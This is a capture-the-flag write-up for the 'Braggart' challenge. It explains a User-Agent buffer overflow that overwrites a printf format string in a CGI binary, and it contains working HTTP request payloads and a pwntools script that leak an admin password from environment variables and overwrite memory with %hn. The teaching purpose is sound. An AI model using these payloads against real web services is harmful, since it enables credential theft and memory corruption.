HyggeHalcyon
GithubLinkedIn
  • 🕊️whoami
  • 🚩CTFs
    • 2025
      • ARKAVIDIA Quals
      • TECHOMFEST Quals
    • 2024
      • BackdoorCTF
      • World Wide CTF
      • 7th Cyber Mimic Defense
      • TSA Cyber Champion
      • Cyber Jawara International
      • National Cyber Week Quals
      • COMPFEST 16 Finals
      • HackToday Finals
      • UIUCTF
      • TBTL CTF
      • BSidesSF CTF
      • UMD CTF
      • UMassCTF
      • b01lers CTF
      • AmateursCTF
      • UNbreakable International - Team Phase
    • 2023
      • HackToday CTF Quals
        • Vnote
        • TahuBulat
        • Rangkaian Digital
      • Tenable CTF
        • Skiddyana Pwnz and the Loom of Fate
        • Braggart
      • CiGITS
        • afafafaf
        • popping around shell
        • well_known
      • TJCTF
        • flip out
        • shelly
        • groppling-hook
        • formatter
        • teenage-game
      • SanDiegoCTF
        • money printer
        • turtle shell
      • DeadSec CTF
        • one punch
      • FindIT CTF Quals
        • Debugging Spiders
        • Everything Machine
        • Furr(y)verse
        • Bypass the Py
        • Joy Sketching in the Matrix
        • Detective Handal
        • I Like Matrix
        • CRYptograPI
        • Date Night
        • Web-Find IT
        • Mental Health Check
        • NCS Cipher
        • Discovered
  • 🔍NOTES
    • FSOP
      • Structures
      • GDB
      • Arbitrary Read/Write
      • Vtable Hijack
    • Heap Feng Shui
      • Libc Leak
    • Kernel Space
      • Privilege Escalation
      • Objects
      • Escaping Seccomp
    • V8
      • Documentation
      • TurboFan
      • SandBox (Ubercage)
  • 📚Resources
    • Cyber Security
      • General
      • Red Teaming
        • CheatSheet
        • Payload Database
        • Quality of Life
      • Binary Exploitation
        • Return Oriented Programming
        • File Structure Oriented Programming
        • Heap Exploitation
        • Linux Kernel Exploitation
        • Windows Exploitation
        • V8 Browser
      • Reverse Engineering
        • Windows Executable
        • Malware Analysis
        • Tools
      • Web Exploitation
      • Malware Development
      • Detection Engineering
      • Blockchain / Web3
      • Cryptography
    • Software Engineering
  • 📋Planning
    • Quick Notes
Powered by GitBook
On this page
  • Problem
  • Solution
  • Analysis
  • Exploitation
  • Appendix
  • Flag
  1. CTFs
  2. 2023
  3. Tenable CTF

Braggart

Format string exploit through HTTPS request

PreviousSkiddyana Pwnz and the Loom of FateNextCiGITS

Last updated 1 year ago

Problem

Description

This guy keeps bragging about keeping us out of his secrets.

It's annoying.

Get the flag please.

https://nessus-braggart.chals.io

I didn't solve this challenge by myself, most of the credit goes to and who found the main vulnerability and craft the final exploit. The purpose of this writeup is to strengthen my understanding and hopefully the readers as well. Although the exploit might seem trivial, to properly execute it gave me a new perspective towards the various attack vectors, reconnaissance and information gathering that could be done in a real life scenario.

Solution

Analysis

Visiting the link given, we are shown the following page

clicking backup will download the binary that seems to be running the website for us. Below is the decompiled main function using ghidra.

Any subsequent decompiled code showed below will have part that are deemed unnecessary or irrelevant removed.

Main()
undefined8 main(void){
  int check;
  long in_FS_OFFSET;
  long size;
  char *query;
  char *request_method;
  char *debug_mode;
  char *AdminPass;
  char *x_password;
  char *len;
  char buffer [72];
  
  query = getenv("QUERY_STRING");
  request_method = getenv("REQUEST_METHOD");
  debug_mode = getenv("HTTP_X_DEBUG");
  AdminPass = getenv("AdminPass");
  x_password = getenv("HTTP_X_PASSWORD");
  printf("%s\n\n","Content-Type:text/html");
  if (debug_mode != (char *)0x0) {
    check = atoi(debug_mode);
    if (check == 1) {
      setDebug();
    }
  }
  puts("<TITLE>Secrets</TITLE>");
  len = getenv("CONTENT_LENGTH");
  if (len != (char *)0x0) {
    check = __isoc99_sscanf(len,"%ld",&size);
    if (check == 1) {
      if (size < 0x40) {
        fgets(buffer,(int)size,stdin);
      }
      else {
        printf("<h4>Err:Too much data</h4>");
      }
    }
  }
  if (x_password != (char *)0x0) {
    check = strcmp(AdminPass,x_password);
    if (check == 0) {
      printSecrets();
    }
  }
  printMain();
  return 0;
}

The only way that we can affect the program's behaviour is through the environment variables. To the remote server some of the env are pre-configured and some we can interact through the HTTP header. Below we try to enabled the debug mode, notice it returns more data than before.

With the help of pwntools we can also interact locally with the binary and set up the environment variables as we wish as we will experiment.

local trial and errors.py
from pwn import *

exe = './sec.bak'
elf = context.binary = ELF(exe, checksec=True)

env = {
        "QUERY_STRING": "",
        "REQUEST_METHOD": "GET",
        "HTTP_X_DEBUG": "1",
        "AdminPass": "unkown",
        "HTTP_X_PASSWORD": "???",
        "REMOTE_ADDR": "<ip>",
        "HTTP_USER_AGENT": ""
}
    
io = process(exe, env=env)  
io.interactive()
printSecrets()
void printSecrets(void){
  int i;
  char *file;
  size_t len;
  char *pwd;
  char *path;
  FILE *fd;
  long in_FS_OFFSET;
  char c;
  
  file = (char *)malloc(8);
  len = strlen(file);
  *(undefined4 *)(file + len) = "brag";
  *(undefined *)((long)(file + len) + 4) = 0;
  pwd = getenv("workingDir");
  path = (char *)malloc(0x40);
  if (debug != 0) {
    printDebugInfo();
  }
  strcat(path,pwd);
  strcat(path,file);
  printf("<pre><h3> secrets : </h3>");
  fd = fopen(path,"r");
  if (fd != (FILE *)0x0) {
    while (c != -1) {
      putchar((int)c);
      i = fgetc(fd);
      c = (char)i;
    }
    fclose(fd);
  }
  printf("</pre>");
}

This function simply opens a file named brag and prints its content. Its seems this is our goal to gain the flag. However in order for program to execute we need to provide the correct password

printDebugInfo()
undefined8 printDebugInfo(void){
  char *env;
  char buffer [1008];
  undefined8 format;
  
  format = 0x7325;
  printf("<pre><h1>debug info</h1>");
  printf("<h3> Remote Addr : </h3>");
  env = getenv("REMOTE_ADDR");
  strcpy(buffer,env);
  printf((char *)&format,env);
  printf("<h3> User Agent : </h3>");
  env = getenv("HTTP_USER_AGENT");
  strcpy(buffer,env);
  printf((char *)&format,env);
  printf("</pre><br><hr><br>");

  return 0;
}

This function takes the some metadata within the HTTP request we made and prints it. However there's two vulnerability here:

  1. Buffer Overflow: considering User-Agent is within our control, we're able to abuse strcpy() and trigger a buffer overflow since there's no check on how length of User-Agent we're able to provide.

  2. Format String: this stems from the buffer overflow, since the string for the format specifier is being loaded from the stack we're able to overwrite it and craft a format string of our own.

Exploitation

Initially we spend much of our time figuring how to bypass the CONTENT-LENGTH check to gain buffer overflow. After discovering the two strong primitives, we start to fuzz the binary and leak the stack and leak the environment variables loaded. Below is the payload used to overwrite the format specifier to leak the stack:

padding * 1008 + %1$p%{offset}$s

We can see at offset 328 we are able to leak the password. Next is just to ran the it against the server, however we want to fuzz around the local offset taking account of different factors such as libc version that could affect the difference between the offset at local and remote.

For example, if our target is at the offset of 325, we would fuzz at the target server between 315 - 335

I will utilise Burpsuite's intruder to fuzz against the remote server

Now we just need to give the password to the server... right...?

Apparently, the flag is in a different file. At this point, I fuzz a bit more to gain more knowledge I needed to retrieve the flag. Using the same methodology above, were able to gain the following information against the remote server:

  1. Found at offset-325, env AdminPass=xbYP3h7Ua94c

  2. Found at offset-267, the string brag

  3. Found at offset-326, env workingDir=/home/ctf/

Then since we have a format string primitive, we are able to overwrite memory and somehow we need to overwrite brag with flag. Taking a look back at the printSecrets(), the string is being allocated through malloc, and since that pointer is available in the stack at offset 267, we're able to reference that pointer to overwrite the brag string.

Recall since we leaking the stack using $s, which takes pointer to a char. Means if the printed value at 267 is brag, that means the value at that offset is the pointer to the heap that contains the string

Next, to further improve efficiency, since flag in hex is 0x67616c66 or 1734437990 in decimal. It would take quite a long time to print the characters and potentially timing out our request. To get around this, since the last two character i.e ag is the same, we would only need overwrite the first two byte to fl which in hex is 0x6c66 or 27750 in decimal. Thus our final payload would be:

%27750c%267$hn

Appendix

Leak Password
GET /sec.cgi HTTP/1.1
Host: nessus-braggart.chals.io
User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%1$p%325$s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
X-Debug: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Final Exploit
GET /sec.cgi HTTP/1.1
Host: nessus-braggart.chals.io
User-Agent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27750c%267$hn
X-Debug: 1
X-Password: xbYP3h7Ua94c
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Local Testing Script
Exploit.py
#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './sec.bak'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'warn'

# =========================================================
#                       FUZZ ENV
# =========================================================
# found remote AdminPass offset at 325
# found local AdminPass offset at 328
# found both (char *) to string 'brag' at 267 
# found remote workingDir=/home/ctf/ at offset 326
AdminPass = "xbYP3h7Ua94c"
for i in range(0, 400):
    payload = b'A'*1008
    payload += f'%1$p %{i}$s'.encode()

    env = {
        "QUERY_STRING": "",
        "REQUEST_METHOD": "",
        "HTTP_X_DEBUG": "1",
        "AdminPass": "SomethingSecure",
        "HTTP_X_PASSWORD": "unknown",
        "REMOTE_ADDR": "127.0.0.1",
        "HTTP_USER_AGENT": payload
    }

    io = process(exe, env=env)
    try: 
        io.recvuntil(b'User Agent : </h3>')
        leak = io.recvuntil(b'</pre>', drop=True).strip()
        warn('leak-%d: %s', i, leak)
        io.close()
    except BaseException or EOFError:
        io.close()
        pass

# =========================================================
#                      FINAL EXPLOIT
# =========================================================
payload = b'A'*1008
payload += f'%27750c%267$hn'.encode()

env = {
    "QUERY_STRING": "",
    "REQUEST_METHOD": "GET",
    "HTTP_X_DEBUG": "1",
    "AdminPass": "xbYP3h7Ua94c",
    "HTTP_X_PASSWORD": "xbYP3h7Ua94c",
    "CONTENT_LENGTH": "",
    "workingDir": "/home/kali/",
    "REMOTE_ADDR": "127.0.0.1",
    "HTTP_USER_AGENT": payload
}

io = process(exe, env=env)
print(io.recv())

io.interactive()

Flag

flag{f0rmat_th3m_str1ngz}

🚩
kos0ng
dmcr7
kos0ng - OverviewGitHub
Sesepuh
dmcr7 - OverviewGitHub
Suhu
Logo
Default page
Debug mode on
local fuzz
Leaking password against remote server
requesting the flag with the correct password
Final exploit
Logo